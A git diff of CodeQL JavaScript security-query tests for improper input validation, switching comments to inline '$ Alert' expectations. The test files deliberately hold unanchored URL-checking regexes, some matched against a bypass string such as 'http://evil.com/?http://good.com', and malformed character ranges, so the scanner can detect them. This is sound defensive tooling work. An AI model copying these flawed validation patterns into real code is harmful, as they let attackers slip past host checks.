--- a/javascript/ql/test/query-tests/Security/CWE-020/MissingRegExpAnchor/MissingRegExpAnchor.qlref
+++ b/javascript/ql/test/query-tests/Security/CWE-020/MissingRegExpAnchor/MissingRegExpAnchor.qlref
@@ -1 +1,2 @@
-Security/CWE-020/MissingRegExpAnchor.ql
\ No newline at end of file
+query: Security/CWE-020/MissingRegExpAnchor.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Security/CWE-020/MissingRegExpAnchor/tst-SemiAnchoredRegExp.js b/javascript/ql/test/query-tests/Security/CWE-020/MissingRegExpAnchor/tst-SemiAnchoredRegExp.js
index 7a5618f88ec7..6fc6d6296204 100644
--- a/javascript/ql/test/query-tests/Security/CWE-020/MissingRegExpAnchor/tst-SemiAnchoredRegExp.js
+++ b/javascript/ql/test/query-tests/Security/CWE-020/MissingRegExpAnchor/tst-SemiAnchoredRegExp.js
@@ -1,76 +1,76 @@
 (function coreRegExp() {
 	/^a|/;
-	/^a|b/; // NOT OK
+	/^a|b/; // $ Alert
 	/a|^b/;
 	/^a|^b/;
-	/^a|b|c/; // NOT OK
+	/^a|b|c/; // $ Alert
 	/a|^b|c/;
 	/a|b|^c/;
 	/^a|^b|c/;
 
 	/(^a)|b/;
-	/^a|(b)/; // NOT OK
+	/^a|(b)/; // $ Alert
 	/^a|(^b)/;
-	/^(a)|(b)/; // NOT OK
+	/^(a)|(b)/; // $ Alert
 
 
-	/a|b$/; // NOT OK
+	/a|b$/; // $ Alert
 	/a$|b/;
 	/a$|b$/;
-	/a|b|c$/; // NOT OK
+	/a|b|c$/; // $ Alert
 	/a|b$|c/;
 	/a$|b|c/;
 	/a|b$|c$/;
 
 	/a|(b$)/;
-	/(a)|b$/; // NOT OK
+	/(a)|b$/; // $ Alert
 	/(a$)|b$/;
-	/(a)|(b)$/; // NOT OK
+	/(a)|(b)$/; // $ Alert
 
-	/^good.com|better.com/; // NOT OK
-	/^good\.com|better\.com/; // NOT OK
-	/^good\\.com|better\\.com/; // NOT OK
-	/^good\\\.com|better\\\.com/; // NOT OK
-	/^good\\\\.com|better\\\\.com/; // NOT OK
+	/^good.com|better.com/; // $ Alert
+	/^good\.com|better\.com/; // $ Alert
+	/^good\\.com|better\\.com/; // $ Alert
+	/^good\\\.com|better\\\.com/; // $ Alert
+	/^good\\\\.com|better\\\\.com/; // $ Alert
 
-	/^foo|bar|baz$/; // NOT OK
-	/^foo|%/; // OK
+	/^foo|bar|baz$/; // $ Alert
+	/^foo|%/;
 });
 
 (function coreString() {
 	new RegExp("^a|");
-	new RegExp("^a|b"); // NOT OK
+	new RegExp("^a|b"); // $ Alert
 	new RegExp("a|^b");
 	new RegExp("^a|^b");
-	new RegExp("^a|b|c"); // NOT OK
+	new RegExp("^a|b|c"); // $ Alert
 	new RegExp("a|^b|c");
 	new RegExp("a|b|^c");
 	new RegExp("^a|^b|c");
 
 	new RegExp("(^a)|b");
-	new RegExp("^a|(b)"); // NOT OK
+	new RegExp("^a|(b)"); // $ Alert
 	new RegExp("^a|(^b)");
-	new RegExp("^(a)|(b)"); // NOT OK
+	new RegExp("^(a)|(b)"); // $ Alert
 
 
-	new RegExp("a|b$"); // NOT OK
+	new RegExp("a|b$"); // $ Alert
 	new RegExp("a$|b");
 	new RegExp("a$|b$");
-	new RegExp("a|b|c$"); // NOT OK
+	new RegExp("a|b|c$"); // $ Alert
 	new RegExp("a|b$|c");
 	new RegExp("a$|b|c");
 	new RegExp("a|b$|c$");
 
 	new RegExp("a|(b$)");
-	new RegExp("(a)|b$"); // NOT OK
+	new RegExp("(a)|b$"); // $ Alert
 	new RegExp("(a$)|b$");
-	new RegExp("(a)|(b)$"); // NOT OK
+	new RegExp("(a)|(b)$"); // $ Alert
 
-	new RegExp('^good.com|better.com'); // NOT OK
-	new RegExp('^good\.com|better\.com'); // NOT OK
-	new RegExp('^good\\.com|better\\.com'); // NOT OK
-	new RegExp('^good\\\.com|better\\\.com'); // NOT OK
-	new RegExp('^good\\\\.com|better\\\\.com'); // NOT OK
+	new RegExp('^good.com|better.com'); // $ Alert
+	new RegExp('^good\.com|better\.com'); // $ Alert
+	new RegExp('^good\\.com|better\\.com'); // $ Alert
+	new RegExp('^good\\\.com|better\\\.com'); // $ Alert
+	new RegExp('^good\\\\.com|better\\\\.com'); // $ Alert
 });
 
 (function realWorld() {
@@ -79,23 +79,23 @@
 	/*
 	 * NOT OK: flagged
 	 */
-	/(\.xxx)|(\.yyy)|(\.zzz)$/;
+	/(\.xxx)|(\.yyy)|(\.zzz)$/; // $ Alert
 	/(^left|right|center)\sbottom$/; // not flagged at the moment due to interior anchors
-	/\.xxx|\.yyy|\.zzz$/ig;
-	/\.xxx|\.yyy|zzz$/;
+	/\.xxx|\.yyy|\.zzz$/ig; // $ Alert
+	/\.xxx|\.yyy|zzz$/; // $ Alert
 	/^([A-Z]|xxx[XY]$)/; // not flagged at the moment due to interior anchors
-	/^(xxx yyy zzz)|(xxx yyy)/i;
-	/^(xxx yyy zzz)|(xxx yyy)|(1st( xxx)? yyy)|xxx|1st/i;
-	/^(xxx:)|(yyy:)|(zzz:)/;
-	/^(xxx?:)|(yyy:zzz\/)/;
-	/^@media|@page/;
-	/^\s*(xxx?|yyy|zzz):|xxx:yyy\//;
-	/^click|mouse|touch/;
-	/^http:\/\/good\.com|http:\/\/better\.com/;
-	/^https?:\/\/good\.com|https?:\/\/better\.com/;
-	/^mouse|touch|click|contextmenu|drop|dragover|dragend/;
-	/^xxx:|yyy:/i;
-	/_xxx|_yyy|_zzz$/;
+	/^(xxx yyy zzz)|(xxx yyy)/i; // $ Alert
+	/^(xxx yyy zzz)|(xxx yyy)|(1st( xxx)? yyy)|xxx|1st/i; // $ Alert
+	/^(xxx:)|(yyy:)|(zzz:)/; // $ Alert
+	/^(xxx?:)|(yyy:zzz\/)/; // $ Alert
+	/^@media|@page/; // $ Alert
+	/^\s*(xxx?|yyy|zzz):|xxx:yyy\//; // $ Alert
+	/^click|mouse|touch/; // $ Alert
+	/^http:\/\/good\.com|http:\/\/better\.com/; // $ Alert
+	/^https?:\/\/good\.com|https?:\/\/better\.com/; // $ Alert
+	/^mouse|touch|click|contextmenu|drop|dragover|dragend/; // $ Alert
+	/^xxx:|yyy:/i; // $ Alert
+	/_xxx|_yyy|_zzz$/; // $ Alert
 	/em|%$/; // not flagged at the moment due to the anchor not being for letters
 
 	/*
diff --git a/javascript/ql/test/query-tests/Security/CWE-020/MissingRegExpAnchor/tst-UnanchoredUrlRegExp.js b/javascript/ql/test/query-tests/Security/CWE-020/MissingRegExpAnchor/tst-UnanchoredUrlRegExp.js
index c0c5ecb3e3e0..179273ee4502 100644
--- a/javascript/ql/test/query-tests/Security/CWE-020/MissingRegExpAnchor/tst-UnanchoredUrlRegExp.js
+++ b/javascript/ql/test/query-tests/Security/CWE-020/MissingRegExpAnchor/tst-UnanchoredUrlRegExp.js
@@ -1,29 +1,29 @@
 (function(x){
 
-	if ("http://evil.com/?http://good.com".match("https?://good.com")) {} // NOT OK
-	if ("http://evil.com/?http://good.com".match(new RegExp("https?://good.com"))) {} // NOT OK
-	if ("http://evil.com/?http://good.com".match("^https?://good.com")) {} // NOT OK - missing post-anchor
-	if ("http://evil.com/?http://good.com".match(/^https?:\/\/good.com/)) {} // NOT OK - missing post-anchor
-	if ("http://evil.com/?http://good.com".match("(^https?://good1.com)|(^https?://good2.com)")) {} // NOT OK - missing post-anchor
-	if ("http://evil.com/?http://good.com".match("(https?://good.com)|(^https?://goodie.com)")) {} // NOT OK - missing post-anchor
+	if ("http://evil.com/?http://good.com".match("https?://good.com")) {} // $ Alert
+	if ("http://evil.com/?http://good.com".match(new RegExp("https?://good.com"))) {} // $ Alert
+	if ("http://evil.com/?http://good.com".match("^https?://good.com")) {} // $ Alert - missing post-anchor
+	if ("http://evil.com/?http://good.com".match(/^https?:\/\/good.com/)) {} // $ Alert - missing post-anchor
+	if ("http://evil.com/?http://good.com".match("(^https?://good1.com)|(^https?://good2.com)")) {} // $ Alert - missing post-anchor
+	if ("http://evil.com/?http://good.com".match("(https?://good.com)|(^https?://goodie.com)")) {} // $ Alert - missing post-anchor
 
-	/https?:\/\/good.com/.exec("http://evil.com/?http://good.com"); // NOT OK
-	new RegExp("https?://good.com").exec("http://evil.com/?http://good.com"); // NOT OK
+	/https?:\/\/good.com/.exec("http://evil.com/?http://good.com"); // $ Alert
+	new RegExp("https?://good.com").exec("http://evil.com/?http://good.com"); // $ Alert
 
-	if ("http://evil.com/?http://good.com".search("https?://good.com") > -1) {} // NOT OK
+	if ("http://evil.com/?http://good.com".search("https?://good.com") > -1) {} // $ Alert
 
-	new RegExp("https?://good.com").test("http://evil.com/?http://good.com"); // NOT OK
+	new RegExp("https?://good.com").test("http://evil.com/?http://good.com"); // $ Alert
 
-	if ("something".match("other")) {} // OK
-	if ("something".match("x.commissary")) {} // OK
-	if ("http://evil.com/?http://good.com".match("https?://good.com")) {} // NOT OK
-	if ("http://evil.com/?http://good.com".match("https?://good.com:8080")) {} // NOT OK
+	if ("something".match("other")) {}
+	if ("something".match("x.commissary")) {}
+	if ("http://evil.com/?http://good.com".match("https?://good.com")) {} // $ Alert
+	if ("http://evil.com/?http://good.com".match("https?://good.com:8080")) {} // $ Alert
 
 	let trustedUrls = [
-		"https?://good.com", // NOT OK, referenced below
-		/https?:\/\/good.com/, // NOT OK, referenced below
-		new RegExp("https?://good.com"), // NOT OK, referenced below
-		"^https?://good.com" // NOT OK - missing post-anchor
+		"https?://good.com", // $ Alert - referenced below
+		/https?:\/\/good.com/, // $ Alert - referenced below
+		new RegExp("https?://good.com"), // $ Alert - referenced below
+		"^https?://good.com" // $ Alert - missing post-anchor
 	];
 	function isTrustedUrl(url) {
 		for (let trustedUrl of trustedUrls) {
@@ -32,10 +32,10 @@
 		return false;
 	}
 
-	/https?:\/\/good.com\/([0-9]+)/.exec(url); // NOT OK
-	"https://verygood.com/?id=" + /https?:\/\/good.com\/([0-9]+)/.exec(url)[0]; // OK
-	"http" + (secure? "s": "") + "://" + "verygood.com/?id=" + /https?:\/\/good.com\/([0-9]+)/.exec(url)[0]; // OK
-	"http" + (secure? "s": "") + "://" + ("verygood.com/?id=" + /https?:\/\/good.com\/([0-9]+)/.exec(url)[0]); // OK
+	/https?:\/\/good.com\/([0-9]+)/.exec(url); // $ Alert
+	"https://verygood.com/?id=" + /https?:\/\/good.com\/([0-9]+)/.exec(url)[0];
+	"http" + (secure? "s": "") + "://" + "verygood.com/?id=" + /https?:\/\/good.com\/([0-9]+)/.exec(url)[0];
+	"http" + (secure? "s": "") + "://" + ("verygood.com/?id=" + /https?:\/\/good.com\/([0-9]+)/.exec(url)[0]);
 
 	// g or .replace?
 	file = file.replace(
@@ -46,7 +46,7 @@
 	// missing context of use
 	const urlPatterns  = [
 		{
-			regex: /youtube.com\/embed\/([a-z0-9\?&=\-_]+)/i, // OK
+			regex: /youtube.com\/embed\/([a-z0-9\?&=\-_]+)/i,
 			type: 'iframe', w: 560, h: 314,
 			url: '//www.youtube.com/embed/$1',
 			allowFullscreen: true
@@ -74,7 +74,7 @@
 	var urlPatterns = [
 		{regex: /youtu\.be\/([\w\-.]+)/, type: 'iframe', w: 425, h: 350, url: '//www.youtube.com/embed/$1'},
 		{regex: /youtube\.com(.+)v=([^&]+)/, type: 'iframe', w: 425, h: 350, url: '//www.youtube.com/embed/$2'},
-		{regex: /vimeo\.com\/([0-9]+)/, type: 'iframe', w: 425, h: 350, url: '//player.vimeo.com/video/$1?title=0&byline=0&portrait=0&color=8dc7dc'},
+		{regex: /vimeo\.com\/([0-9]+)/, type: 'iframe', w: 425, h: 350, url: '//player.vimeo.com/video/$1?title=0&byline=0&portrait=0&color=8dc7dc'}, // $ Alert
 	];
 
 	// check optional successsor to TLD
@@ -103,29 +103,29 @@
 	// replace
 	path.replace(/engine.io/, "$&-client");
 
-	/\.com|\.org/; // OK, has no domain name
-	/example\.com|whatever/; // OK, the other disjunction doesn't match a hostname
+	/\.com|\.org/; // OK - has no domain name
+	/example\.com|whatever/; // OK - the other disjunction doesn't match a hostname
 
 	// MatchAll test cases:
 	// Vulnerable patterns
-	if ("http://evil.com/?http://good.com".matchAll("https?://good.com")) {} // NOT OK
-	if ("http://evil.com/?http://good.com".matchAll(new RegExp("https?://good.com"))) {} // NOT OK
-	if ("http://evil.com/?http://good.com".matchAll("^https?://good.com")) {} // NOT OK - missing post-anchor
-	if ("http://evil.com/?http://good.com".matchAll(/^https?:\/\/good.com/g)) {} // NOT OK - missing post-anchor
-	if ("http://evil.com/?http://good.com".matchAll("(^https?://good1.com)|(^https?://good2.com)")) {} // NOT OK - missing post-anchor
-	if ("http://evil.com/?http://good.com".matchAll("(https?://good.com)|(^https?://goodie.com)")) {} // NOT OK - missing post-anchor
-	if ("http://evil.com/?http://good.com".matchAll("good.com")) {} // NOT OK - missing protocol
-	if ("http://evil.com/?http://good.com".matchAll("https?://good.com")) {} // NOT OK
-	if ("http://evil.com/?http://good.com".matchAll("https?://good.com:8080")) {} // NOT OK
+	if ("http://evil.com/?http://good.com".matchAll("https?://good.com")) {} // $ Alert
+	if ("http://evil.com/?http://good.com".matchAll(new RegExp("https?://good.com"))) {} // $ Alert
+	if ("http://evil.com/?http://good.com".matchAll("^https?://good.com")) {} // $ Alert - missing post-anchor
+	if ("http://evil.com/?http://good.com".matchAll(/^https?:\/\/good.com/g)) {} // $ Alert - missing post-anchor
+	if ("http://evil.com/?http://good.com".matchAll("(^https?://good1.com)|(^https?://good2.com)")) {} // $ Alert - missing post-anchor
+	if ("http://evil.com/?http://good.com".matchAll("(https?://good.com)|(^https?://goodie.com)")) {} // $ Alert - missing post-anchor
+	if ("http://evil.com/?http://good.com".matchAll("good.com")) {} // $ Alert - missing protocol
+	if ("http://evil.com/?http://good.com".matchAll("https?://good.com")) {} // $ Alert
+	if ("http://evil.com/?http://good.com".matchAll("https?://good.com:8080")) {} // $ Alert
 
 	// Non-vulnerable patterns
-	if ("something".matchAll("other")) {} // OK
-	if ("something".matchAll("x.commissary")) {} // OK
-	if ("http://evil.com/?http://good.com".matchAll("^https?://good.com$")) {} // OK
-	if ("http://evil.com/?http://good.com".matchAll(new RegExp("^https?://good.com$"))) {} // OK
-	if ("http://evil.com/?http://good.com".matchAll("^https?://good.com/$")) {} // OK
-	if ("http://evil.com/?http://good.com".matchAll(/^https?:\/\/good.com\/$/)) {} // OK
-	if ("http://evil.com/?http://good.com".matchAll("(^https?://good1.com$)|(^https?://good2.com$)")) {} // OK
-	if ("http://evil.com/?http://good.com".matchAll("(https?://good.com$)|(^https?://goodie.com$)")) {} // OK
+	if ("something".matchAll("other")) {}
+	if ("something".matchAll("x.commissary")) {}
+	if ("http://evil.com/?http://good.com".matchAll("^https?://good.com$")) {}
+	if ("http://evil.com/?http://good.com".matchAll(new RegExp("^https?://good.com$"))) {}
+	if ("http://evil.com/?http://good.com".matchAll("^https?://good.com/$")) {}
+	if ("http://evil.com/?http://good.com".matchAll(/^https?:\/\/good.com\/$/)) {}
+	if ("http://evil.com/?http://good.com".matchAll("(^https?://good1.com$)|(^https?://good2.com$)")) {}
+	if ("http://evil.com/?http://good.com".matchAll("(https?://good.com$)|(^https?://goodie.com$)")) {}
 
 });
diff --git a/javascript/ql/test/query-tests/Security/CWE-020/SuspiciousRegexpRange/OverlyLargeRangeQuery.qlref b/javascript/ql/test/query-tests/Security/CWE-020/SuspiciousRegexpRange/OverlyLargeRangeQuery.qlref
index 77b5c92707f9..c42315c4550e 100644
--- a/javascript/ql/test/query-tests/Security/CWE-020/SuspiciousRegexpRange/OverlyLargeRangeQuery.qlref
+++ b/javascript/ql/test/query-tests/Security/CWE-020/SuspiciousRegexpRange/OverlyLargeRangeQuery.qlref
@@ -1 +1,2 @@
-Security/CWE-020/OverlyLargeRange.ql
+query: Security/CWE-020/OverlyLargeRange.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Security/CWE-020/SuspiciousRegexpRange/tst.js b/javascript/ql/test/query-tests/Security/CWE-020/SuspiciousRegexpRange/tst.js
index 913922271bb3..ef4bd7e9ca7f 100644
--- a/javascript/ql/test/query-tests/Security/CWE-020/SuspiciousRegexpRange/tst.js
+++ b/javascript/ql/test/query-tests/Security/CWE-020/SuspiciousRegexpRange/tst.js
@@ -1,34 +1,34 @@
-var overlap1 = /^[0-93-5]$/; // NOT OK
+var overlap1 = /^[0-93-5]$/; // $ Alert
 
-var overlap2 = /[A-ZA-z]/; // NOT OK
+var overlap2 = /[A-ZA-z]/; // $ Alert
 
-var isEmpty = /^[z-a]$/; // NOT OK
+var isEmpty = /^[z-a]$/; // $ Alert
 
-var isAscii = /^[\x00-\x7F]*$/; // OK
+var isAscii = /^[\x00-\x7F]*$/;
 
 var printable = /[!-~]/; // OK - used to select most printable ASCII characters
 
-var codePoints = /[^\x21-\x7E]|[[\](){}<>/%]/g; // OK 
+var codePoints = /[^\x21-\x7E]|[[\](){}<>/%]/g;
 
-const NON_ALPHANUMERIC_REGEXP = /([^\#-~| |!])/g; // OK
+const NON_ALPHANUMERIC_REGEXP = /([^\#-~| |!])/g;
 
-var smallOverlap = /[0-9a-fA-f]/; // NOT OK
+var smallOverlap = /[0-9a-fA-f]/; // $ Alert
 
-var weirdRange = /[$-`]/; // NOT OK
+var weirdRange = /[$-`]/; // $ Alert
 
-var keywordOperator = /[!\~\*\/%+-<>\^|=&]/; // NOT OK
+var keywordOperator = /[!\~\*\/%+-<>\^|=&]/; // $ Alert
 
-var notYoutube = /youtu\.be\/[a-z1-9.-_]+/; // NOT OK
+var notYoutube = /youtu\.be\/[a-z1-9.-_]+/; // $ Alert
 
-var numberToLetter = /[7-F]/; // NOT OK
+var numberToLetter = /[7-F]/; // $ Alert
 
-var overlapsWithClass1 = /[0-9\d]/; // NOT OK
+var overlapsWithClass1 = /[0-9\d]/; // $ Alert
 
-var overlapsWithClass2 = /[\w,.-?:*+]/; // NOT OK
+var overlapsWithClass2 = /[\w,.-?:*+]/; // $ Alert
 
-var tst2 = /^([ァ-ヾ]|[ｧ-�ﾞﾟ])+$/; // OK
-var tst3 = /[0-9�-９]/; // OK
+var tst2 = /^([ァ-ヾ]|[ｧ-�ﾞﾟ])+$/;
+var tst3 = /[0-9�-９]/;
 
-var question = /[0-?]/; // OK. matches one of: 0123456789:;<=>?
+var question = /[0-?]/; // OK - matches one of: 0123456789:;<=>?
 
-var atToZ = /[@-Z]/; // OK. matches one of: @ABCDEFGHIJKLMNOPQRSTUVWXYZ
\ No newline at end of file
+var atToZ = /[@-Z]/; // OK - matches one of: @ABCDEFGHIJKLMNOPQRSTUVWXYZ
\ No newline at end of file
diff --git a/javascript/ql/test/query-tests/Security/CWE-020/UntrustedDataToExternalAPI/UntrustedDataToExternalAPI.expected b/javascript/ql/test/query-tests/Security/CWE-020/UntrustedDataToExternalAPI/UntrustedDataToExternalAPI.expected
index 60423f3d6677..de528b8bde2e 100644
--- a/javascript/ql/test/query-tests/Security/CWE-020/UntrustedDataToExternalAPI/UntrustedDataToExternalAPI.expected
+++ b/javascript/ql/test/query-tests/Security/CWE-020/UntrustedDataToExternalAPI/UntrustedDataToExternalAPI.expected
@@ -1,3 +1,16 @@
+#select
+| tst-UntrustedDataToExternalAPI.js:5:13:5:21 | untrusted | tst-UntrustedDataToExternalAPI.js:3:17:3:27 | window.name | tst-UntrustedDataToExternalAPI.js:5:13:5:21 | untrusted | Call to external-lib() [param 0] with untrusted data from $@. | tst-UntrustedDataToExternalAPI.js:3:17:3:27 | window.name | window.name |
+| tst-UntrustedDataToExternalAPI.js:6:17:6:25 | untrusted | tst-UntrustedDataToExternalAPI.js:3:17:3:27 | window.name | tst-UntrustedDataToExternalAPI.js:6:17:6:25 | untrusted | Call to external-lib() [param 0 'x'] with untrusted data from $@. | tst-UntrustedDataToExternalAPI.js:3:17:3:27 | window.name | window.name |
+| tst-UntrustedDataToExternalAPI.js:7:16:7:24 | untrusted | tst-UntrustedDataToExternalAPI.js:3:17:3:27 | window.name | tst-UntrustedDataToExternalAPI.js:7:16:7:24 | untrusted | Call to external-lib() [param *] with untrusted data from $@. | tst-UntrustedDataToExternalAPI.js:3:17:3:27 | window.name | window.name |
+| tst-UntrustedDataToExternalAPI.js:8:31:8:39 | untrusted | tst-UntrustedDataToExternalAPI.js:3:17:3:27 | window.name | tst-UntrustedDataToExternalAPI.js:8:31:8:39 | untrusted | Call to external-lib() [param *] with untrusted data from $@. | tst-UntrustedDataToExternalAPI.js:3:17:3:27 | window.name | window.name |
+| tst-UntrustedDataToExternalAPI.js:9:18:9:26 | untrusted | tst-UntrustedDataToExternalAPI.js:3:17:3:27 | window.name | tst-UntrustedDataToExternalAPI.js:9:18:9:26 | untrusted | Call to external-lib() [param 0] with untrusted data from $@. | tst-UntrustedDataToExternalAPI.js:3:17:3:27 | window.name | window.name |
+| tst-UntrustedDataToExternalAPI.js:10:13:10:33 | ['x', u ... d, 'y'] | tst-UntrustedDataToExternalAPI.js:3:17:3:27 | window.name | tst-UntrustedDataToExternalAPI.js:10:13:10:33 | ['x', u ... d, 'y'] | Call to external-lib() [param 0] with untrusted data from $@. | tst-UntrustedDataToExternalAPI.js:3:17:3:27 | window.name | window.name |
+| tst-UntrustedDataToExternalAPI.js:11:20:11:28 | untrusted | tst-UntrustedDataToExternalAPI.js:3:17:3:27 | window.name | tst-UntrustedDataToExternalAPI.js:11:20:11:28 | untrusted | Call to external-lib() [param 1] with untrusted data from $@. | tst-UntrustedDataToExternalAPI.js:3:17:3:27 | window.name | window.name |
+| tst-UntrustedDataToExternalAPI.js:13:8:17:5 | {\\n      ... }\\n    } | tst-UntrustedDataToExternalAPI.js:3:17:3:27 | window.name | tst-UntrustedDataToExternalAPI.js:13:8:17:5 | {\\n      ... }\\n    } | Call to external-lib() [param 0 'x'] with untrusted data from $@. | tst-UntrustedDataToExternalAPI.js:3:17:3:27 | window.name | window.name |
+| tst-UntrustedDataToExternalAPI.js:33:14:33:22 | untrusted | tst-UntrustedDataToExternalAPI.js:3:17:3:27 | window.name | tst-UntrustedDataToExternalAPI.js:33:14:33:22 | untrusted | Call to external-lib.get.[callback].[param 'res'].send() [param 0] with untrusted data from $@. | tst-UntrustedDataToExternalAPI.js:3:17:3:27 | window.name | window.name |
+| tst-UntrustedDataToExternalAPI.js:34:34:34:42 | untrusted | tst-UntrustedDataToExternalAPI.js:3:17:3:27 | window.name | tst-UntrustedDataToExternalAPI.js:34:34:34:42 | untrusted | Call to external-lib.get.[callback].[param 'req'].app.locals.something.foo() [param 0] with untrusted data from $@. | tst-UntrustedDataToExternalAPI.js:3:17:3:27 | window.name | window.name |
+| tst-UntrustedDataToExternalAPI.js:41:7:41:8 | {} | tst-UntrustedDataToExternalAPI.js:3:17:3:27 | window.name | tst-UntrustedDataToExternalAPI.js:41:7:41:8 | {} | Call to lodash.merge() [param 0] with untrusted data from $@. | tst-UntrustedDataToExternalAPI.js:3:17:3:27 | window.name | window.name |
+| tst-UntrustedDataToExternalAPI.js:41:11:45:1 | { // $  ... usted\\n} | tst-UntrustedDataToExternalAPI.js:3:17:3:27 | window.name | tst-UntrustedDataToExternalAPI.js:41:11:45:1 | { // $  ... usted\\n} | Call to lodash.merge() [param 1] with untrusted data from $@. | tst-UntrustedDataToExternalAPI.js:3:17:3:27 | window.name | window.name |
 edges
 | tst-UntrustedDataToExternalAPI.js:3:5:3:27 | untrusted | tst-UntrustedDataToExternalAPI.js:5:13:5:21 | untrusted | provenance |  |
 | tst-UntrustedDataToExternalAPI.js:3:5:3:27 | untrusted | tst-UntrustedDataToExternalAPI.js:6:17:6:25 | untrusted | provenance |  |
@@ -16,15 +29,15 @@ edges
 | tst-UntrustedDataToExternalAPI.js:10:19:10:27 | untrusted | tst-UntrustedDataToExternalAPI.js:10:13:10:33 | ['x', u ... d, 'y'] | provenance |  |
 | tst-UntrustedDataToExternalAPI.js:14:12:16:9 | {\\n      ...       } [z] | tst-UntrustedDataToExternalAPI.js:13:8:17:5 | {\\n      ... }\\n    } | provenance |  |
 | tst-UntrustedDataToExternalAPI.js:15:16:15:24 | untrusted | tst-UntrustedDataToExternalAPI.js:14:12:16:9 | {\\n      ...       } [z] | provenance |  |
-| tst-UntrustedDataToExternalAPI.js:41:11:45:1 | {\\n    x ... usted\\n} [x] | tst-UntrustedDataToExternalAPI.js:41:7:41:8 | {} | provenance |  |
-| tst-UntrustedDataToExternalAPI.js:41:11:45:1 | {\\n    x ... usted\\n} [y] | tst-UntrustedDataToExternalAPI.js:41:7:41:8 | {} | provenance |  |
-| tst-UntrustedDataToExternalAPI.js:41:11:45:1 | {\\n    x ... usted\\n} [z] | tst-UntrustedDataToExternalAPI.js:41:7:41:8 | {} | provenance |  |
-| tst-UntrustedDataToExternalAPI.js:42:8:42:16 | untrusted | tst-UntrustedDataToExternalAPI.js:41:11:45:1 | {\\n    x ... usted\\n} | provenance |  |
-| tst-UntrustedDataToExternalAPI.js:42:8:42:16 | untrusted | tst-UntrustedDataToExternalAPI.js:41:11:45:1 | {\\n    x ... usted\\n} [x] | provenance |  |
-| tst-UntrustedDataToExternalAPI.js:43:8:43:16 | untrusted | tst-UntrustedDataToExternalAPI.js:41:11:45:1 | {\\n    x ... usted\\n} | provenance |  |
-| tst-UntrustedDataToExternalAPI.js:43:8:43:16 | untrusted | tst-UntrustedDataToExternalAPI.js:41:11:45:1 | {\\n    x ... usted\\n} [y] | provenance |  |
-| tst-UntrustedDataToExternalAPI.js:44:8:44:16 | untrusted | tst-UntrustedDataToExternalAPI.js:41:11:45:1 | {\\n    x ... usted\\n} | provenance |  |
-| tst-UntrustedDataToExternalAPI.js:44:8:44:16 | untrusted | tst-UntrustedDataToExternalAPI.js:41:11:45:1 | {\\n    x ... usted\\n} [z] | provenance |  |
+| tst-UntrustedDataToExternalAPI.js:41:11:45:1 | { // $  ... usted\\n} [x] | tst-UntrustedDataToExternalAPI.js:41:7:41:8 | {} | provenance |  |
+| tst-UntrustedDataToExternalAPI.js:41:11:45:1 | { // $  ... usted\\n} [y] | tst-UntrustedDataToExternalAPI.js:41:7:41:8 | {} | provenance |  |
+| tst-UntrustedDataToExternalAPI.js:41:11:45:1 | { // $  ... usted\\n} [z] | tst-UntrustedDataToExternalAPI.js:41:7:41:8 | {} | provenance |  |
+| tst-UntrustedDataToExternalAPI.js:42:8:42:16 | untrusted | tst-UntrustedDataToExternalAPI.js:41:11:45:1 | { // $  ... usted\\n} | provenance |  |
+| tst-UntrustedDataToExternalAPI.js:42:8:42:16 | untrusted | tst-UntrustedDataToExternalAPI.js:41:11:45:1 | { // $  ... usted\\n} [x] | provenance |  |
+| tst-UntrustedDataToExternalAPI.js:43:8:43:16 | untrusted | tst-UntrustedDataToExternalAPI.js:41:11:45:1 | { // $  ... usted\\n} | provenance |  |
+| tst-UntrustedDataToExternalAPI.js:43:8:43:16 | untrusted | tst-UntrustedDataToExternalAPI.js:41:11:45:1 | { // $  ... usted\\n} [y] | provenance |  |
+| tst-UntrustedDataToExternalAPI.js:44:8:44:16 | untrusted | tst-UntrustedDataToExternalAPI.js:41:11:45:1 | { // $  ... usted\\n} | provenance |  |
+| tst-UntrustedDataToExternalAPI.js:44:8:44:16 | untrusted | tst-UntrustedDataToExternalAPI.js:41:11:45:1 | { // $  ... usted\\n} [z] | provenance |  |
 nodes
 | tst-UntrustedDataToExternalAPI.js:3:5:3:27 | untrusted | semmle.label | untrusted |
 | tst-UntrustedDataToExternalAPI.js:3:17:3:27 | window.name | semmle.label | window.name |
@@ -42,24 +55,11 @@ nodes
 | tst-UntrustedDataToExternalAPI.js:33:14:33:22 | untrusted | semmle.label | untrusted |
 | tst-UntrustedDataToExternalAPI.js:34:34:34:42 | untrusted | semmle.label | untrusted |
 | tst-UntrustedDataToExternalAPI.js:41:7:41:8 | {} | semmle.label | {} |
-| tst-UntrustedDataToExternalAPI.js:41:11:45:1 | {\\n    x ... usted\\n} | semmle.label | {\\n    x ... usted\\n} |
-| tst-UntrustedDataToExternalAPI.js:41:11:45:1 | {\\n    x ... usted\\n} [x] | semmle.label | {\\n    x ... usted\\n} [x] |
-| tst-UntrustedDataToExternalAPI.js:41:11:45:1 | {\\n    x ... usted\\n} [y] | semmle.label | {\\n    x ... usted\\n} [y] |
-| tst-UntrustedDataToExternalAPI.js:41:11:45:1 | {\\n    x ... usted\\n} [z] | semmle.label | {\\n    x ... usted\\n} [z] |
+| tst-UntrustedDataToExternalAPI.js:41:11:45:1 | { // $  ... usted\\n} | semmle.label | { // $  ... usted\\n} |
+| tst-UntrustedDataToExternalAPI.js:41:11:45:1 | { // $  ... usted\\n} [x] | semmle.label | { // $  ... usted\\n} [x] |
+| tst-UntrustedDataToExternalAPI.js:41:11:45:1 | { // $  ... usted\\n} [y] | semmle.label | { // $  ... usted\\n} [y] |
+| tst-UntrustedDataToExternalAPI.js:41:11:45:1 | { // $  ... usted\\n} [z] | semmle.label | { // $  ... usted\\n} [z] |
 | tst-UntrustedDataToExternalAPI.js:42:8:42:16 | untrusted | semmle.label | untrusted |
 | tst-UntrustedDataToExternalAPI.js:43:8:43:16 | untrusted | semmle.label | untrusted |
 | tst-UntrustedDataToExternalAPI.js:44:8:44:16 | untrusted | semmle.label | untrusted |
 subpaths
-#select
-| tst-UntrustedDataToExternalAPI.js:5:13:5:21 | untrusted | tst-UntrustedDataToExternalAPI.js:3:17:3:27 | window.name | tst-UntrustedDataToExternalAPI.js:5:13:5:21 | untrusted | Call to external-lib() [param 0] with untrusted data from $@. | tst-UntrustedDataToExternalAPI.js:3:17:3:27 | window.name | window.name |
